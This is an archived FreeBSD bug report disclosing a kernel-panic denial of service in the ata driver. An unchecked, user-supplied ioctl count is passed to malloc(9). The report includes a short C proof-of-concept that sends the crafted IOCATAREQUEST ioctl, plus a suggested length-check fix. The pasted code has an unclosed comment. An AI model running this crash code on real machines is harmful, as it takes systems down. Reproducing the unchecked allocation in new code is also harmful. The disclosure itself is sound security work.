Date: Mon, 22 Jun 2009 16:11:50 GMT From: Shaun Colley <cm07sc@leeds.ac.uk> To: freebsd-gnats-submit@FreeBSD.org Subject: kern/135922: fbsd 'ata' driver kernel panic DoS (ioctl) Message-ID: <200906221611.n5MGBoo8023778@www.freebsd.org> Resent-Message-ID: <200906221620.n5MGK1Cv060428@freefall.freebsd.org>
next in thread | raw e-mail | index | archive | help
>Number: 135922
>Category: kern
>Synopsis: fbsd 'ata' driver kernel panic DoS (ioctl)
>Confidential: no
>Severity: non-critical
>Priority: low
>Responsible: freebsd-bugs
>State: open
>Quarter:
>Keywords:
>Date-Required:
>Class: sw-bug
>Submitter-Id: current-users
>Arrival-Date: Mon Jun 22 16:20:01 UTC 2009
>Closed-Date:
>Last-Modified:
>Originator: Shaun Colley
>Release: 6.0-RELEASE, 8-CURRENT
>Organization:
NGSSoftware Ltd.
>Environment:
>Description:
An specially crafted ioctl request can be made to the ata device driver to cause a kernel panic.
ata_device_ioctl() in dev/ata/ata-all.c has the following IOCATAREQUEST option.
---
483 case IOCATAREQUEST:
484 if (!(buf = malloc(ioc_request->count, M_ATA, M_NOWAIT))) {
485 return ENOMEM;
486 }
487 if (!(request = ata_alloc_request())) {
488 free(buf, M_ATA);
489 return ENOMEM;
490 }
491 request->dev = atadev->dev;
492 if (ioc_request->flags & ATA_CMD_WRITE) {
493 error = copyin(ioc_request->data, buf, ioc_request->count);
494 if (error) {
495 free(buf, M_ATA);
496 ata_free_request(request);
497 return error;
498 }
499 }
[..........]
---
ioc_request->count is under user control, and this is passed to malloc(9). If a very large integer is given in ioc_request->count, kmem_alloc will choke, resulting in a kernel panic. ioc_request->count should be sanitised..
The kernel panic can be reproduced with the code below (in 'how to repeat the problem'). A panic in kmem_alloc will occur.
Obviously you need read access to the ata device in /dev to be able to open(2) it, which mitigates the attack somewhat (though could be chained with some other symlink/race condition bug to get the privs needed...).
The latest driver code is vulnerable.
Give it a try and report back, cheers.
>How-To-Repeat:
---
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/types.h>
struct ata_ioc_request {
union {
struct {
u_int8_t command;
u_int8_t feature;
u_int64_t lba;
u_int16_t count;
} ata;
struct {
char ccb[16];
} atapi;
} u;
caddr_t data;
int count;
int flags;
int timeout;
int error;
};
#define IOCATAREQUEST _IOWR('a', 100, struct ata_ioc_request)
int main() {
int fd;
struct ata_ioc_request evil;
evil.count = 0xffffffff; /* large integer passed to malloc(9)
fd = open("/dev/acd0", O_RDONLY); /* one of my ata devices */
ioctl(fd, IOCATAREQUEST, &evil);
/* should never reach here if kernel panics */
return 0;
}
---
(hopefully I didn't mess the code up when I was pasting it)
>Fix:
I'd write a patch but I'm not running with fbsd right now. ioc_request->count should be sanitised. Is there a reason why ioc_request.count is a signed int? Could make it unsigned and then just do a length check
if(ioc_request->count > PAGE_SIZE) return ENOMEM;
or something.
>Release-Note:
>Audit-Trail:
>Unformatted:
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?200906221611.n5MGBoo8023778>